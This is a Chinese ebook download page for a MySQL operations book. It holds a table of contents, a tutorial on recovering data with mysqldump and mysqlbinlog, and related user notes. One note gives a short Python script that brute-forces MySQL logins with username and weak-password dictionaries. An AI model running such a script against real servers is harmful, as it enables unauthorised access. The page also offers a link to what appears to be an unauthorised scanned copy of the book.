标签分类 热门分类
当前位置:首页 > 数据库电子书 > MySQL电子书网盘下载
MySQL运维内参 MySQL运维内参
码小辫

码小辫 提供上传

资源
30
粉丝
48
喜欢
289
评论
1

    MySQL运维内参 PDF 完整扫描版

    MySQL电子书
    • 发布时间:

    给大家带来的一篇关于MySQL相关的电子书资源,介绍了关于MySQL、运维、Galera、Inception、核心原理、实践方面的内容,本书是由电子工业出版社出版,格式为PDF,资源大小162 MB,周彦伟编写,目前豆瓣、亚马逊、当当、京东等电子书综合评分为:7.9,更多相关的学习资源可以参阅 数据库电子书数据库视频、等栏目。

  • MySQL运维内参 PDF 下载
  • 下载地址:https://pan.baidu.com/s/1dzVnY_fgsm3fw6a5xSINO
  • 分享码:c1b2
  • MySQL运维内参

    内容介绍

    MySQL运维内参:MySQL、Galera、Inception核心原理与最佳实践》是二本详细介绍MySQL数据库查询专业知识的专业书籍,从核心原理到最佳实践,从入门到精通、抽丝剥茧地开展解读,不但从源代码和运维2个视角详细介绍了MySQL绝大多数关键定义和运维关键点,还叙述了MySQL极其出色的集群服务器部件Galera的建立原理和运维工作经验,一起,也详细介绍了创作者单独开发设计的MySQL审批系统软件Inception的设计方案、建立与作用。

    《MySQL运维内参:MySQL、Galera、Inception核心原理与最佳实践》也获得了MySQL官方网研发部门的全力支持,俩位杰出权威专家分別详细介绍了MySQL最新消息的适用NoSQL的部件MySQL Document Store,及其集群服务器化部件MySQL Group Replication的建立原理和运维关键点。

    目录

    • 第一部分 MySQL篇
    • 1 MySQL源代码入门
    • MySQL源代码的组织结构
    • Linux下的编译
    • 安装MySQL库
    • MySQL 5.7权限处理
    • 2 MySQL启动过程
    • 3 连接的生命与使命
    • 用户连接线程创建
    • MySQL处理请求
    • 总结
    • 4 MySQL表对象缓存
    • 表结构的实现原理
    • 涉及的参数变量
    • 优缺点总结
    • 存在的问题
    • 5 InnoDB初探
    • InnoDB的源代码目录结构
    • InnoDB存储引擎文件组织
    • InnoDB体系结构
    • InnoDB存储引擎启动与关闭
    • 6 InnoDB数据字典
    • 背景
    • 系统表结构
    • 字典表加载
    • Rowid管理
    • 总结
    • 7 InnoDB数据存储结构
    • 表空间文件组成结构
    • 段、簇、页面组织结构
    • 8 InnoDB索引实现原理
    • 背景
    • B+树及B树的区别
    • 索引的设计
    • 聚簇索引和二级索引
    • 二级索引指针
    • 神奇的B+树网络
    • InnoDB索引的插入过程
    • 一个页面至少要存储几条记录
    • 页面结构管理
    • 索引页面的回收
    • 9 InnoDB记录格式
    • 背景
    • 从源码入手了解行格式
    • 总结
    • 10 揭秘独特的两次写
    • 单一页面刷盘
    • 批量页面刷盘
    • 两次写的作用
    • 发散思维
    • 总结
    • 11 InnoDB日志管理机制
    • InnoDB Buffer Pool
    • REDO LOG日志文件管理的用途
    • MTR InnoDB物理事务
    • 日志的意义
    • 日志记录格式
    • 日志刷盘时机
    • REDO日志恢复
    • 数据库回滚
    • 总结
    • 12 MySQL 5.7中崭新的MySQL sys Schema
    • Performance Schema的改进
    • sys Schema介绍
    • 总结
    • 13 方便的MySQL GTID
    • GTID 相关概念
    • GTID的维护
    • GTID搭建主从
    • 使用GTID案例总结
    • GTID的限制
    • 14 MySQL半同步复制
    • 半同步特性
    • 半同步主库端
    • 半同步从库端
    • 半同步实现
    • 插件安装
    • 半同步自动开关
    • 15 MySQL 5.7多线程复制原理
    • 背景
    • 行之有效的延迟优化方法
    • MySQL 5.6的多线程复制
    • MySQL 5.7的多线程复制
    • 16 大量MySQL表导致服务变慢的问题
    • 背景
    • 问题分析
    • 案例解决
    • 总结
    • 17 MySQL快速删除大表
    • 背景
    • 问题分析
    • 案例解决
    • 发散思维
    • 总结
    • 18 两条不同的插入语句导致的死锁
    • 背景
    • 问题分析
    • 发散思维
    • 总结
    • 19 MySQL在并发删除同一行数据时导致死锁的分析
    • 背景
    • 问题分析
    • 发散思维
    • 总结
    • 20 参数SQL_SLAVE_SKIP_COUNTER的奥秘
    • 21 Binlog中的时间戳
    • 背景
    • 问题分析
    • 发散思维
    • 事务中的事件顺序
    • 问题延伸
    • show processlist中的Time
    • 总结
    • 22 InnoDB中Rowid对Binlog的影响
    • 背景
    • 问题分析
    • 总结
    • 23 MySQL备份:Percona XtraBackup的原理与实践
    • 备份背景及类型
    • 认识Percona XtraBackup
    • XtraBackup的工作流程
    • XtraBackup的备份原理
    • XtraBackup 需要的权限
    • innobackupex常用的备份选项说明
    • XtraBackup备份实践
    • 案例实践与心得
    • 建议与提醒
    • 24 MySQL分库分表
    • 分库分表的种类
    • 分库分表的原则
    • 分库分表实现
    • 25 MySQL数据安全
    • 单机安全
    • 集群安全
    • 备份安全
    • MySQL实例安全保证
    • MySQL集群安全保证
    • 总结
    • 26 MySQL 性能拾遗
    • 适当的数据文件大小
    • 合理设计表结构
    • 正确使用索引
    • MySQL系统参数
    • 内存和CPU
    • 磁盘的革命
    • 云中漫步
    • 总结
    • 27 MySQL Group Replication
    • Group Replication概述
    • Group Replication服务模式
    • Binlog Event的多线程执行
    • 搭建Group Replication复制环境
    • Group Replication的高可用性
    • Group Replication的监控
    • Group Replication的基本原理
    • 深入理解Group Replication中事务的执行过程
    • 深入理解成员加入组的过程
    • 28 MySQL Document Store面面观
    • 新的JSON数据类型和JSON函数
    • MySQL X Plugin 和 X Protocol
    • MySQL Shell
    • X DevAPI
    • 总结
    • 参考资料
    • 第二部分 Galera篇
    • 29 Galera Cluster的设计与实现
    • Galera Cluster的优点
    • Galera的引入
    • Galera接口
    • 总结
    • 30 Galera 参数解析
    • 状态参数
    • 变量参数
    • 31 Galera的验证方法
    • Binlog与Galera的关系
    • 验证方法
    • 32 Galera的消息传送
    • 33 GCache实现原理
    • 配置参数
    • 实现原理
    • 发散思维
    • 34 大话SST/IST细节
    • 初始化节点环境
    • 连接到集群并且做SST/IST
    • 如何提供增量数据
    • 总结
    • 35 Donor/Desynced详解
    • 实现方式
    • 意义何在
    • 问答环节
    • 36 Galera的并发控制机制
    • 数据复制
    • 写集验证
    • 写集APPLY
    • 事务Commit
    • 37 Galera的流量控制
    • 流量控制的定义
    • 流量控制的实现原理及影响
    • 两个问题
    • 38 Galera Cluster影响单节点执行效率的因素
    • 单点验证
    • 并发控制
    • 等待GTID
    • 总结
    • 39 grastate.dat文件揭秘
    • 引子
    • 分析研究
    • 总结
    • 40 Galera Cluster从库的转移
    • 没有开启Server级GTID的情况
    • 开启了GTID(server级)的情况
    • 总结
    • 41 Galera Cluster节点与其从库的随意转换
    • 背景
    • 从节点向PXC节点的转换
    • PXC节点向异步从节点的转换
    • 42 业务更新慢,不是由Galera引起的
    • 43 在线改表引发的Galera Cluster集群死锁
    • 背景
    • 用Binlog来代替触发器
    • 表名交换
    • Galera Cluster中的问题
    • 一个有趣的实验
    • 解决方案
    • 总结
    • 第三部分 Inception篇
    • 44 Inception诞生记
    • 关于SQL审核
    • 人肉法
    • 不满现状的追求
    • 何谓Inception
    • 45 Inception安装与使用
    • 下载和编译
    • 启动配置
    • 线上配置需求
    • 需要额外注意的点
    • 使用方法
    • 举例说明
    • 环境变量的设置
    • 46 支持选项
    • 选项说明
    • DDL与DML语句分离
    • 小技巧
    • 47 Inception的备份回滚
    • 备份存储架构
    • 备份所需条件
    • 48 审核规范
    • 支持的语句类型
    • 公共检查项
    • 插入语句检查项
    • 更新、删除语句检查项
    • 表属性检查项
    • 列属性检查项
    • 索引属性检查项
    • 修改表语句检查项
    • 总结
    • 49 参数变量
    • 语法和变量
    • 注意事项
    • 50 友好的结果集
    • 结果集结构
    • 总结
    • 51 命令集语句
    • 远程信息获取
    • 显示本地全部变量
    • 显示本地某个变量
    • 设置本地变量
    • 显示OSC执行进度
    • 查看当前processlist
    • 52 Inception的彩蛋
    • 对OSC的支持
    • Inception对SQL执行情况的统计
    • 打印语法树
    • 53 Inception设计
    • Inception之源
    • Inception执行流程

    读书笔记

    MySQL数据库运维之数据恢复的方法

    之前三篇文章分别介绍了MySQL数据库常见的备份方法,其中包括逻辑备份和物理备份,本篇将总结一下MySQL数据库的数据恢复相关内容。这些数据恢复方案在之前备份内容介绍时,此处总结一下恢复方案,并结合数据库的二进制日志做下数据恢复的示范!

    一、恢复方案

    1、数据量不是特别大,可以将mysqldump命令备份的数据使用mysql客户端命令或者source命令完成数据的恢复;
    2、使用Xtrabackup完成数据库的物理备份恢复,期间需要重启数据库服务;
    3、使用LVM快照卷完成数据库物理备份恢复,期间需要重启数据库服务;

    二、使用mysqlbinlog进行时间点恢复

    1、介绍

    mysqlbinlog是一个从二进制日志中读取语句的工具,在mysql安装完成之后自带的。

    2、二进制日志恢复原理

    当使用mysqldump对数据库进行备份时,生成的备份文件中包含了数据库DML操作时的时间点以及备份时的二进制日志位置信息,如果单库,可以从某个时间点开始,进行时间点恢复;如果是主从架构,可以根据备份时的--master-data=2和--single-transaction,完成根据时间点或者位置点的恢复。

    3、二进制日志恢复示例

    (1)单库恢复示例

    创建数据库,并插入测试数据

    mysql> SHOW CREATE DATABASE test_db;
    mysql> CREATE TABLE `student` (
     `id` int(11) NOT NULL AUTO_INCREMENT,
     `name` varchar(20) NOT NULL,
     `age` tinyint(4) DEFAULT NULL,
     PRIMARY KEY (`id`)
    ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8;
    mysql> INSERT INTO student (name,age) VALUES('Jack',23),('Tomcat',24),('XiaoHong',22),('ZhangFei',29);
    

    使用mysqldump进行全量备份,备份时滚动日志,同时记住二进制日志文件名称和日志的位置点

    [root@WB-BLOG ~]# mysqldump -uroot -proot -h127.0.0.1 -P3306 --databases test_db --single-transaction --triggers --routines --flush-logs --events > /tmp/test_db.sql
    [root@WB-BLOG ~]# mysql -e "show binary logs" > bin_pos_`date +%F`.out
    

    此时查看二进制日志文件名称和日志点位置如下

    mysql> SHOW BINARY LOGS;
    +------------------+-----------+
    | Log_name     | File_size |
    +------------------+-----------+
    | mysql-bin.000001 |   1497 |
    | mysql-bin.000002 |    397 |
    +------------------+-----------+
    2 rows in set (0.00 sec)

    使用了一段时间,不小心误操作,执行了如下的语句,将数据库中的数据全部修改了

    mysql> UPDATE STUDENT SET name = 'admin';

    过了一段时间,可能是几分钟,也可能是几个小时,有人反映网站登录有问题了,查看发现好多数据被误修改,而这段时间内,还一直有写入操作,如又新增了如下的记录

    mysql> INSERT INTO student(name,age) VALUES('Hbase',23),('BlackHole',30);

    此时需要恢复数据,首先为了防止数据继续写入,可以先锁表,暂停写入业务,通知用户系统维护,然后执行如下操作:

    #登录数据库,锁表,此时表只能读,不能写
    mysql> USE test_db;
    mysql> LOCK TABLE student READ;
    #然后重新(注意是重新打开)打开一个session窗口,否则会话处出之后,锁就会释放。然后压缩备份现有数据和二进制日志文件
    [root@WB-BLOG mysql_logs]# tar zcvf mysql_data.tar.gz /mysql_data/*
    [root@WB-BLOG mysql_logs]# tar zcvf mysql_bin.tar.gz /mysql_logs/*
    #导入最近备份的一次全备数据
    [root@WB-BLOG ~]# mysql -uroot -proot -h127.0.0.1 -P3306 < /tmp/test_db.sql 
    
    #查看全备时的二进制日志文件和日志点
    [root@WB-BLOG ~]# cat bin_pos_2018-06-24.out 
      Log_name    File_size
      mysql-bin.000001   1497
      mysql-bin.000002    397
    #将861这个点之后的二进制日志文件转换为一个sql文件
    [root@WB-BLOG bin]# ./mysqlbinlog /mysql_logs/mysql-bin.000002 --start-position=397 > /tmp/tmp.sql
    #使用vim编辑器编辑这个sql文件,找到其中的未加条件的UPDATE语句,然后将其删掉,然后将删掉UPDATE语句之后的sql脚本内容导入到数据库中
    [root@WB-BLOG bin]# vim /tmp/tmp.sql
      use `test_db`/*!*/;
      SET TIMESTAMP=1522088753/*!*/;
      update student set name = 'admin' #删掉这一句
    [root@WB-BLOG bin]# mysql -uroot -proot -h127.0.0.1 -P3306 < /tmp/tmp.sql
    #登录数据库查询数据是否恢复,可以查看被误修改的数据是否还原,然后对表执行解锁,再次全备数据
    mysql> UNLOCK TABLES;
    
    

    (2)主从架构数据恢复示例

    环境

    主库:192.168.199.10(node01)
    从库:192.168.199.11(node02)

    首先停止从库的SQL线程,然后在从库上全备数据,并输入"SHOW SLAVE STATUS"信息到备份文件中,"SHOW SLAVE STATUS"的输出信息中记录了当前应用到了主库的哪个位置点的信息

    #登录从库,然后关闭SQL线程
    mysql> STOP SLAVE SQL_THREAD;
    Query OK, 0 rows affected (0.01 sec)
    #然后记录从库中当前应用的主库的二进制日志文件信息
    [root@node02 mysql_data]# mysql -e "SHOW SLAVE STATUS \G" > slave_`date +%F`.info
    [root@node02 mysql_data]# mysqldump -uroot -proot -h127.0.0.1 -P3306 --databases test_db --routines --triggers --single-transaction > /tmp/mysql_test_db_`date +%F`.sql
    
    

    在从库上备份完成之后,重新启动从库的SQL线程

    mysql> START SLAVE SQL_THREAD;
    Query OK, 0 rows affected (0.01 sec)

    启动SQL线程之后,备份这段时间内在主库上的DML操作会重新同步到从库上。假如在主库上发生了一个误操作,没加条件更新了student表中的所有数据,导致了表中所有数据被修改,此时由于同步操作,从库也被修改了

    #登录主库,修改数据库的对外用户,使其暂不提供服务,然后滚动日志
    mysql> UPDATE mysql.user SET Host = '127.0.0.1' WHERE User='tomcat';
    Query OK, 1 rows affected (0.00 sec)
    #刷新权限表
    mysql> FLUSH PRIVILEGES;
    Query OK, 0 rows affected (0.00 sec)
    #滚动日志
    mysql> FLUSH LOGS;
    Query OK, 0 rows affected (0.01 sec)
    #将从库备份的数据及备份时刻的从库slave信息传到主库上
    [root@node02 mysql_data]# scp /tmp/mysql_test_db_2018-06-24.sql 192.168.199.10:/root/
    [root@node02 mysql_data]# scp slave_2018-06-24.info node01:/root/
    

    备份主库的数据目录和二进制日志文件目录

    [root@node01 mysql_logs]# tar zcvf mysql_master_data.tar.gz /mysql_data/*
    [root@node01 mysql_logs]# tar zcvf mysql_logs.tar.gz /mysql_logs/*  

    导入从库最近一次备份的数据

    [root@node01 mysql_logs]# mysql -uroot -proot -h127.0.0.1 -P3306 < /root/mysql_test_db_2018-03-26.sql 
    #注意:上述的操作不能锁主库的表,否则全备数据无法导入。

    查看备份时刻的从库中应用到的主库二进制日志文件名称及位置点

    [root@node01 mysql_logs]# cat /root/slave_2018-03-26.info
      Master_Log_File: master-bin.000002 #备份时所应用的主库二进制日志文件名称
      Read_Master_Log_Pos: 395  #备份时所应用的主库二进制日志文件的位置

    从该日志文件及日志点开始,将395日志点之后的日志文件转换为sql脚本,如果有多个二进制日志文件可以同时转换为sql脚本,如下所示

    [root@node01 mysql_logs]# mysqlbinlog /mysql_logs/master-bin.000002 --start-position=395 > /tmp/tmp.sql
    #将master-bin.000003,master-bin.000004,master-bin.000005合并到/tmp.sql文件中
    [root@node01 mysql_logs]# mysqlbinlog /mysql_logs/master-bin.00000{3,4,5} --start-position=395 > /tmp/tmp.sql
    

    找到误操作的update语句,然后删除该语句,并将增量的sql脚本导入数据库

    [root@node01 mysql_logs]# vim /tmp/tmp.sql
      use `test_db`/*!*/;
      update student set name = 'admin' #删掉这一句
    [root@node01 mysql_logs]# mysql -uroot -proot -h127.0.0.1 -P3306 < /tmp/tmp.sql 
    

    登录数据库,查看数据是否正常,被误修改的数据是否已经恢复,如果恢复,则在主库上全备数据,然后传到从库,完成从库恢复

    [root@node01 mysql_data]# mysqldump -uroot -proot -h127.0.0.1 -P3306 --databases test_db --routines --triggers --single-transaction --master-date=1 > /tmp/master_test_db_`date +%F`.sql
    [root@node01 mysql_data]# scp /tmp/master_test_db_2018-06-24.sql node01:/root/
    #如果从库设置了只读,需要先去掉只读限制
    mysql> SET GLOBAL read_only = OFF;
    Query OK, 0 rows affected (0.00 sec)
    #将数据导入从库
    [root@node02 mysql_logs]# mysql -uroot -proot -h127.0.0.1 -P3306 < /root/master_test_db_2018-06-24.sql
    #开启从库的只读
    mysql> SET GLOBAL read_only = ON;
    Query OK, 0 rows affected (0.00 sec)

    由于在主库上备份时添加了--master-date=1参数,所以从库导入之后,不需要重新执行change master操作。

    登录从库,查看SHOW SLAVE STATUS信息是否正常,如果正常,登录主库,重新修改授权表,然后对外提供服务

    mysql> UPDATE mysql.user set Host = '192.168.0.%' WHERE User = 'tomcat';
    mysql> FLUSH PRIVILEGES;
    Query OK, 0 rows affected (0.00 sec)

    执行完成之后,主从数据恢复完毕。

    至此,数据恢复介绍完毕,上述介绍了使用全备加二进制日志实现单实例数据库和主从数据库的数据恢复过程,如有问题,欢迎评论指出。也希望大家多多支持码农之家。

    上一篇:Python数据处理  下一篇:Spring MVC学习指南

    展开 +

    收起 -

     
    MySQL 相关电子书
    关于MySQL的学习笔记
    网友NO.614009

    Python版Mysql爆破小脚本

    Mysql Python版本爆破小脚本,需要安装Python插件MySQL-python.exe,可以看出代码量很少,(注意:里用户名和密码都是类似字典。用法:保存代码为MysqlDatabaseBlasting.py,cmd切换到 MysqlDatabaseBlasting.py路径下,并 执行 MysqlDatabaseBlasting.py即可开始破解 ) import MySQLdb#coding=gbk#目标IP mysql数据库必须开启3360远程登陆端口mysql_username = ('root','test', 'admin', 'user')#账号字典common_weak_password = ('','123456','test','root','admin','user')#密码字典success = Falsehost = "127.0.0.1"#数据库IP地址port = 3306for username in mysql_username: for password in common_weak_password: try: db = MySQLdb.connect(host, username, password) success = True if success: print username, password except Exception, e: pass ……

    网友NO.387628

    MySQL无法创建外键的原因及解决方法

    关联2张表时出现了无法创建外键的情况,从这个博客看到,问题出在第六点的Charset和Collate选项在表级和字段级上的一致性上。我的2张表的编码charset和collate不一致,2张表都执行执行SQL语句: alter table 表名 convert to character set utf8; 完美解决问题; ps:下面看下MySQL无法创建外键、查询外键的属性 MyISAM 和InnoDB 讲解 InnoDB和MyISAM是许多人在使用MySQL时最常用的两个表类型,这两个表类型各有优劣,视具体应用而定。基本的差别为:MyISAM类型不支持事务处理等高级处理,而InnoDB类型支持。MyISAM类型的表强调的是性能,其执行数度比InnoDB类型更快,但是不提供事务支持,而InnoDB提供事务支持以及外部键等高级数据库功能。 以下是一些细节和具体实现的差别: ◆1.InnoDB不支持FULLTEXT类型的索引。 ◆2.InnoDB 中不保存表的具体行数,也就是说,执行select count(*) from table时,InnoDB要扫描一遍整个表来计算有多少行,但是MyISAM只要简单的读出保存好的行数即可。注意的是,当count(*)语句包含 where条件时,两种表的操作是一样的。 ◆3.对于AUTO_INCREMENT类型的字段,InnoDB中必须包含只有该字段的索引,但是在MyISAM表中,可以和其他字段一起建立联合索引。 ◆4.DELETE FROM table时,InnoDB不会重新建立表,而是一行一行的删除。 ◆5.LOAD TABLE FROM MASTER操作……

    网友NO.943389

    Windows下MySQL5.7.18安装教程

    本文讲解从压缩包安装MySQL。 1.下载MySQL压缩包,【Windows (x86, 64-bit), ZIP Archive】; 2.解压Zip包到需要的目录,例如D:\mysql-5.7.18-winx64; 3.创建my.ini文件,内容如下: [mysqld] port=3306 basedir=D:\\mysql-5.7.18-winx64\\datadir=F:\\mysqlData\\character-set-server=utf8 注意,basedir和datadir是必须要配置的,basedir就是你解压的目录。官方文档上说,如果你喜欢用斜杠,则要用双斜杠,反斜杠的话就不用这样。即:D:\\mysql-5.7.13-winx64\\ 或:D:/mysql-5.7.13-winx64/ 由于本人喜欢把数据库的数据文件独立出来,所以就把datadir配置到其它地方,方便管理。 4.配置环境变量 添加一个名叫 MYSQL_HOME 的变量。 修改Path变量,在末尾添加 %MYSQL_HOME%\bin 5.初始化和启动Mysql服务 以管理员权限运行cmd,初始化MySQL,执行 mysqld --initialize-insecure 注册MySQL服务,启动MySQL,执行 mysqld -installnet start mysql 6.登录MySQL,设置root密码 mysql -uroot -p 第一次登录时无需密码直接回车登录,登录mysql之后,设置root密码 ALTER USER 'root'@'localhost' IDENTIFIED BY 'MyNewPass4!'; 修改密码后,我们使用root可登录成功。 以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持码农之家。 ……

    网友NO.317040

    详解mysql中的concat相关函数

    一、concat()函数 功能:将多个字符串连接成一个字符串 语法: concat(str1,str2,…) 其中的字符串既可以是数据表字段,也可以是指定的字符串 返回结果为连接参数产生的字符串,如果有任何一个参数为null,则该条记录的返回值为null 二、concat_ws()函数 功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符(concat_ws就是concat with separator) 语法: concat_ws(separator,str1,str2,…) 说明:第一个参数指定分隔符,需要注意的是分隔符不能为null,如果为null,则所有返回结果均为null 三、group_concat()函数 先来看这么个需求: 其中user_id是用户id,fee是消费金额,time是消费时间戳。 在consumption消费记录表中,需要查找出每个用户所有的消费金额明细。 很显然,单一的group by已经不足以实现这个需求了: select max(time),fee from consumption group by user_id group by后的字段之间的关系是错层的,我们只能单一的去筛选某个字段,而不能保证它们同属于一条记录。 这个时候就要用到group_concat()函数了: select user_id,GROUP_CONCAT(time,':',fee) from consumption group by user_id 得到如下结果: 对结果进行数据处理,可以很容易地在页面上展示我们想要的效果。 总结 以上所述是小编给大家介绍的mysql中的concat相关函数,希望对大家有所帮助,如果大家……

    Copyright 2018-2020 xz577.com 码农之家

    电子书资源由网友、会员提供上传,本站记录提供者的基本信息及资源来路

    鸣谢: “ 码小辫 ” 公众号提供回调API服务、“ 脚本CDN ”提供网站加速(本站寻求更多赞助支持)

    版权投诉 / 书籍推广 / 赞助:520161757@qq.com

    上传资源(网友、会员均可提供)

    查看最新会员资料及资源信息